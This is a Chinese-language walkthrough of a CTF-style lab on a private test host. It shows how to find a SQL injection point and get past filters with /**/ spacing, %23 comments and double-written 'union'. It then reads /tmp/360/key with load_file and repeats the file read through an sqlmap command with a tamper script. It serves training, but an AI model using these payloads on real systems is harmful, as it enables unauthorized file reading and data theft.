sql注入读取文件之各种绕过姿势
目录
- 回显判断注入点
- 确定过滤类型
- 各种绕过姿势注入
0x00环境介绍
目标地址: http://172.16.12.100:81
注入要求:通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。
0x01渗透思路
进入答题后,显示为使用select * from article where id= ('1')提交表单后得到的信息,已经知道id输入的参数值为字符,不需要进行判断;已经少了判断字符型,数字型和闭合方式的步骤。
1.回显判断注入点
基本思路:因为sql语句中闭合的方式是’),那直接使用’)闭合查看是否会回显错误;
payload:http://172.16.12.100:81/vulnerabilities/fu1.php?id=1')回显出错,存在注入点;
2.判断sql语句中被过滤类型
sql语句:http://172.16.12.100:81/vulnerabilities/fu1.php?id=1’) order by 5#回显正常,一直尝试增加判断的列数还是一样,未出现报错情况;也就是说明该条sql语句未被执行,猜测应该是过滤了空格、#、order等;
尝试使用注释/**/代替空格,使用%23代替#,再次输入sql语句,查看回显情况;这一步可以多尝试,组合测试,最终得到过滤类型。
‘)/**/order/**/by/**/5%23回显错误
‘)/**/order/**/by/**/4%23回显正常,空格不适用注释/**/代替回显错误,基本说明浏览器无法识别#,且把空格过滤。
过滤类型:目前知道注释#不可用,空格被过滤;
保证sql语句的完整性基本操作:前边闭合’),后边注释。
3.判断列数
a.直接查询看回显
')/**/uniunionon/**/select/**/1,2,3%23 错误
')/**/uniunionon/**/select/**/1,2,3,4%23正确,那么列数就是4
回显错误:
回显正确:
b.使用order by n判断列数
order by n:小于等n正常,大于n错误,列数就是n
')/**/order/**/by/**/5%23错误
')/**/order/**/by/**/4%23正确,列数为4
4.判断回显位
前表出错方法有两种:
1)and 1=2
2)id=1改为id=-1 参数值前加负号
payload:id=-1')/**/uniunionon/**/select/**/1,2,3,4%23
根据回显内容,明显2,3,4都可以回显内容;
5.读取key
读取key的sql语句:load_file('/tmp/360/key')
payload:id=-1')/**/uniunionon/**/select/**/1,load_file('/tmp/360/key'),3,4%23
0x02总结
1)除了可以直接读文件,也可以查一些数据库,用户信息等:
user()当前用户
database()当前库名
version()版本
2)使用sqlmap也可以完成本次注入;
使用sqlmap下的/tamper:近60个脚本
显示详细payload: -v 3
基于真假判断:--level 3
sqlmap注入payload:sqlmap.py -u "http://ip:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py"
3)绕过方法可以看另一篇sql注入常见绕过姿势。